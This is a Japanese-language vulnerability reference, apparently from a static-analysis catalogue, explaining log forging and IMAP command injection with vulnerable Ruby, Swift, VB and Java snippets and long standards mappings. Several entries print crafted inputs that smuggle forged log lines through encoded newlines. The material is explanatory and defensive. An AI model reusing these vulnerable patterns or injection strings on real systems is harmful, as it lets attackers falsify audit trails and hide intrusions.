[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-000590 CAT II, APSC-DV-002320 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.python.log_forging
Abstract
未検証のユーザー入力をログファイルに書き込むと、攻撃者がログエントリを偽造したり、悪意のあるコンテンツをログに注入できる可能性があります。
Explanation
次の場合に、Log Forging の脆弱性が発生します。

1. 信頼されていないソースからデータがアプリケーションに入り込んだ場合。

2. データはアプリケーションまたはシステムログファイルに書き込まれます。

アプリケーションは通常、後でレビュー、統計情報収集、デバッグを行う場合に備え、イベントやトランザクションの履歴をログファイルに保管しています。アプリケーションの内容により、ログファイルをレビューするタスクは必要に応じて手動で実行するか、重要なイベントやトレンド情報のログを自動的に選び出すツールを使って自動的に実行できます。

後で逐語的に記録されるアプリケーションに攻撃者がデータを供給できる場合、ログファイルの解釈が妨害されたり誤っていたりすることがあります。最も害のない場合でも、攻撃者はアプリケーションに適切な文字が含まれる入力を行い不正なエントリをログファイルに挿入することができます。ログ ファイルが自動処理される場合、攻撃者はファイル形式を破損させたり、想定外の文字を挿入したりしてファイルを使用できなくすることができます。より巧妙な攻撃では、ログファイルの統計情報が歪曲されます。偽造などの方法でログファイルを不正にし、攻撃者の痕跡を覆い隠したり、悪意ある行為の実行に第三者を巻き込んだりすることができます [1]。最悪の場合、攻撃者はコードやその他のコマンドをログファイルに挿入してログ処理ユーティリティの脆弱性を利用することができます [2]。

例 1: 次の Web アプリケーションコードはリクエストオブジェクトから整数値を読み込もうとします。値が整数としてパースできない場合、入力はエラー内容を示すエラーメッセージと共に記録されます。


...
val = req['val']
unless val.respond_to?(:to_int)
logger.info("Failed to parse val")
logger.info(val)
end
...


ユーザーが val として「twenty-one」という文字列を送信すると、以下のエントリが記録されます。


INFO: Failed to parse val
INFO: twenty-one


しかし、攻撃者が「twenty-one%0a%0aINFO:+User+logged+out%3dbadguy」という文字列を送信すると、以下のエントリが記録されます。


INFO: Failed to parse val
INFO: twenty-one

INFO: User logged out=badguy


明らかに、攻撃者はこれと同じメカニズムを使って任意のログ エントリを挿入できます。
References
[1] A. Muffet The night the log was forged.
[2] G. Hoglund, G. McGraw Exploiting Software Addison-Wesley
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 4.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 2
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - Common Weakness Enumeration CWE ID 117
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[10] Standards Mapping - FIPS200 AU, SI
[11] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[12] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2012 Rule 1.3
[13] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 0-3-1
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 AU-9 Protection of Audit Information (P1), AU-10 Non-Repudiation (P2), SC-24 Fail in Known State (P1), SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 AU-9 Protection of Audit Information, AU-10 Non-Repudiation, SC-24 Fail in Known State, SI-10 Information Input Validation
[16] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[17] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[18] Standards Mapping - OWASP Top 10 2010 A1 Injection
[19] Standards Mapping - OWASP Top 10 2013 A1 Injection
[20] Standards Mapping - OWASP Top 10 2017 A1 Injection
[21] Standards Mapping - OWASP Top 10 2021 A09 Security Logging and Monitoring Failures
[22] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.2.1 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.3.1 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 7.3.1 Log Protection Requirements (L2 L3), 7.3.2 Log Protection Requirements (L2 L3)
[23] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[24] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[25] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1, Requirement 10.5.2
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2, Requirement 10.5.2
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1, Requirement 10.5.2
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1, Requirement 10.5.2
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1, Requirement 10.5.2
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1, Requirement 10.5.2
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1, Requirement 10.5.2
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 10.3.2
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection, Control Objective 8.4 - Activity Tracking
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective 8.4 - Activity Tracking, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective 8.4 - Activity Tracking, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-000590 CAT II, APSC-DV-002320 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.ruby.log_forging
Abstract
この特定の関数は、未検証のユーザー入力をログに書き込みます。攻撃者はこの動作を利用して、ログエントリを偽造したり、悪意のあるコンテンツをログに注入できる可能性があります。
Explanation
次の場合に、Log Forging の脆弱性が発生します。

1. 信頼されていないソースからデータがアプリケーションに入り込んだ場合。

2. データはアプリケーションまたはシステムログファイルに書き込まれます。

アプリケーションは通常、後でレビュー、統計情報収集、デバッグを行う場合に備え、イベントやトランザクションの履歴をログファイルに保管しています。アプリケーションの性質により異なりますが、ログファイルは必要に応じて手動で見直すことも、重要なデータポイントや傾向を検索するツールで自動的に選別することもできます。

後で逐語的に記録されるアプリケーションに攻撃者がデータを与えることができる場合、ログファイルのチェックが妨害されたり、ログデータに基づく結論が誤っていたりすることがあります。ログエントリの区切り文字をデータに含めることにより、攻撃者が偽りの項目をログファイルに挿入するかもしれません。ログ ファイルが自動処理される場合、攻撃者はファイル形式を破損させたり、想定外の文字を挿入したりしてファイルを使用できなくすることができます。より巧妙な攻撃では、ログファイルの統計情報が歪曲されます。偽造などの方法でログファイルを不正にし、攻撃者の痕跡を覆い隠したり、悪意ある行為の実行に第三者を巻き込んだりすることができます [1]。最悪の場合、攻撃者がコードやその他のコマンドをログファイルに挿入し、ログ処理ユーティリティの脆弱性を利用する可能性もあります [2]。

例 1: 次のコードは、ユーザーによって送信された文字列を受け取り、整数値に変換しようと試みます。整数として値を解析できない場合は、何が起きたかを示すエラーメッセージとともに値が記録されます。


...
let num = Int(param)
if num == nil {
NSLog("Illegal value = %@", param)
}
...


ユーザーが val として「twenty-one」という文字列を送信すると、以下のエントリが記録されます。


INFO: Illegal value = twenty-one


しかし、攻撃者が「twenty-one\n\nINFO: User logged out=evil」という文字列を送信すると、以下のエントリが記録されます。


INFO: Illegal value=twenty-one

INFO: User logged out=evil


明らかに、攻撃者は同じ仕組みを利用して任意のログ エントリを挿入できます。このタイプのログ偽装攻撃が有効性を持つには、攻撃者はまず有効なログ エントリのフォーマットを識別する必要がありますが、多くの場合、これはターゲット アプリケーションにおけるシステム情報漏洩により可能になります。
References
[1] A. Muffet The night the log was forged.
[2] G. Hoglund, G. McGraw Exploiting Software Addison-Wesley
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 4.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 2
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - Common Weakness Enumeration CWE ID 117
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[10] Standards Mapping - FIPS200 AU, SI
[11] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[12] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2012 Rule 1.3
[13] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 0-3-1
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 AU-9 Protection of Audit Information (P1), AU-10 Non-Repudiation (P2), SC-24 Fail in Known State (P1), SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 AU-9 Protection of Audit Information, AU-10 Non-Repudiation, SC-24 Fail in Known State, SI-10 Information Input Validation
[16] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[17] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[18] Standards Mapping - OWASP Top 10 2010 A1 Injection
[19] Standards Mapping - OWASP Top 10 2013 A1 Injection
[20] Standards Mapping - OWASP Top 10 2017 A1 Injection
[21] Standards Mapping - OWASP Top 10 2021 A09 Security Logging and Monitoring Failures
[22] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.2.1 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.3.1 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 7.3.1 Log Protection Requirements (L2 L3), 7.3.2 Log Protection Requirements (L2 L3)
[23] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[24] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[25] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1, Requirement 10.5.2
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2, Requirement 10.5.2
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1, Requirement 10.5.2
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1, Requirement 10.5.2
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1, Requirement 10.5.2
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1, Requirement 10.5.2
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1, Requirement 10.5.2
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 10.3.2
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection, Control Objective 8.4 - Activity Tracking
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective 8.4 - Activity Tracking, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective 8.4 - Activity Tracking, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-000590 CAT II, APSC-DV-002320 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.swift.log_forging
Abstract
未検証のユーザー入力をログファイルに書き込むと、攻撃者がログエントリを偽造したり、悪意のあるコンテンツをログに注入できる可能性があります。
Explanation
次の場合に、Log Forging の脆弱性が発生します。

1. 信頼されていないソースからデータがアプリケーションに入り込んだ場合。

2. データはアプリケーションまたはシステムログファイルに書き込まれます。

アプリケーションは通常、後でレビュー、統計情報収集、デバッグを行う場合に備え、イベントやトランザクションの履歴をログファイルに保管しています。アプリケーションの内容により、ログファイルをレビューするタスクは必要に応じて手動で実行するか、重要なイベントやトレンド情報のログを自動的に選び出すツールを使って自動的に実行できます。

後で逐語的に記録されるアプリケーションに攻撃者がデータを供給できる場合、ログファイルの解釈が妨害されたり誤っていたりすることがあります。最も害のない場合でも、攻撃者はアプリケーションに適切な文字が含まれる入力を行い不正なエントリをログファイルに挿入することができます。ログ ファイルが自動処理される場合、攻撃者はファイル形式を破損させたり、想定外の文字を挿入したりしてファイルを使用できなくすることができます。より巧妙な攻撃では、ログファイルの統計情報が歪曲されます。偽造などの方法でログファイルを不正にし、攻撃者の痕跡を覆い隠したり、悪意ある行為の実行に第三者を巻き込んだりすることができます [1]。最悪の場合、攻撃者はコードやその他のコマンドをログファイルに挿入してログ処理ユーティリティの脆弱性を利用することができます [2]。

例: 次の Web アプリケーション コードはリクエスト オブジェクトから整数値を読み込もうとします。値が整数としてパースできない場合、入力はエラー内容を示すエラーメッセージと共に記録されます。


...
Dim Val As Variant
Dim Value As Integer
Set Val = Request.Form("val")
If IsNumeric(Val) Then
Set Value = Val
Else
App.EventLog "Failed to parse val=" & Val, 1
End If
...


ユーザーが val として「twenty-one」という文字列を送信すると、以下のエントリが記録されます。


Failed to parse val=twenty-one


しかし、攻撃者が「twenty-one%0a%0a+User+logged+out%3dbadguy」という文字列を送信すると、以下のエントリが記録されます。


Failed to parse val=twenty-one

User logged out=badguy


明らかに、攻撃者はこれと同じメカニズムを使って任意のログ エントリを挿入できます。
References
[1] A. Muffet The night the log was forged.
[2] G. Hoglund, G. McGraw Exploiting Software Addison-Wesley
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 4.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 2
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - Common Weakness Enumeration CWE ID 117
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[10] Standards Mapping - FIPS200 AU, SI
[11] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[12] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2012 Rule 1.3
[13] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 0-3-1
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 AU-9 Protection of Audit Information (P1), AU-10 Non-Repudiation (P2), SC-24 Fail in Known State (P1), SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 AU-9 Protection of Audit Information, AU-10 Non-Repudiation, SC-24 Fail in Known State, SI-10 Information Input Validation
[16] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[17] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[18] Standards Mapping - OWASP Top 10 2010 A1 Injection
[19] Standards Mapping - OWASP Top 10 2013 A1 Injection
[20] Standards Mapping - OWASP Top 10 2017 A1 Injection
[21] Standards Mapping - OWASP Top 10 2021 A09 Security Logging and Monitoring Failures
[22] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.2.1 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.3.1 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 7.3.1 Log Protection Requirements (L2 L3), 7.3.2 Log Protection Requirements (L2 L3)
[23] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[24] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[25] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1, Requirement 10.5.2
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2, Requirement 10.5.2
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1, Requirement 10.5.2
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1, Requirement 10.5.2
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1, Requirement 10.5.2
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1, Requirement 10.5.2
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1, Requirement 10.5.2
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 10.3.2
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection, Control Objective 8.4 - Activity Tracking
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective 8.4 - Activity Tracking, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective 8.4 - Activity Tracking, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-000590 CAT II, APSC-DV-002320 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.vb.log_forging
Abstract
信頼されていないソースの IMAP コマンドを実行すると、IMAP サーバーが攻撃者に利用されて悪意のあるコマンドを実行する場合があります。
Explanation
IMAP コマンド インジェクションの脆弱性は、攻撃者が IMAP メール サーバーに送信されるコマンドに影響を与えることができる場合に発生します。

1. 信頼できないソースからアプリケーションにデータが入り込んだ場合。

2. データが、アプリケーションが実行するコマンドを表す文字列 (またはその一部) として使用された場合。

3. IMAP コマンドを実行することで、攻撃者がサーバーに対してスパムの送信など悪意のあるアクションを実行するように指示できる場合。

例 1: 次のコードは HTTP リクエスト パラメーターを使用して、IMAP サーバーに送信される CREATE コマンドを作成します。攻撃者はこのパラメーターを使用して、サーバーに送信されるコマンドを変更し、CRLF 文字を使用して新しいコマンドを挿入します。


...
final String foldername = request.getParameter("folder");
IMAPFolder folder = (IMAPFolder) store.getFolder("INBOX");
...
folder.doCommand(new IMAPFolder.ProtocolCommand() {
@Override
public Object doCommand(IMAPProtocol imapProtocol) throws ProtocolException {
try {
imapProtocol.simpleCommand("CREATE " + foldername, null);
} catch (Exception e) {
// Handle Exception
}
return null;
}
});
...
References
[1] OWASP Testing for IMAP/SMTP Injection (OTG-INPVAL-011)
[2] Vicente Aguilera Díaz MX Injection: Capturing and Exploiting Hidden Mail Servers
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 2.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 3.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Cloud Computing Platform Benchmark partial
[8] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[9] Standards Mapping - Common Weakness Enumeration CWE ID 88, CWE ID 93, CWE ID 147
[10] Standards Mapping - Common Weakness Enumeration Top 25 2021 [25] CWE ID 077
[11] Standards Mapping - Common Weakness Enumeration Top 25 2022 [17] CWE ID 077
[12] Standards Mapping - Common Weakness Enumeration Top 25 2023 [16] CWE ID 077
[13] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[14] Standards Mapping - FIPS200 SI
[15] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[16] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[17] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[18] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[19] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[20] Standards Mapping - OWASP Top 10 2010 A1 Injection
[21] Standards Mapping - OWASP Top 10 2013 A1 Injection
[22] Standards Mapping - OWASP Top 10 2017 A1 Injection
[23] Standards Mapping - OWASP Top 10 2021 A03 Injection
[24] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.2.3 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.2.2 Sanitization and Sandboxing Requirements (L1 L2 L3)
[25] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[26] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[27] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[34] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[35] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
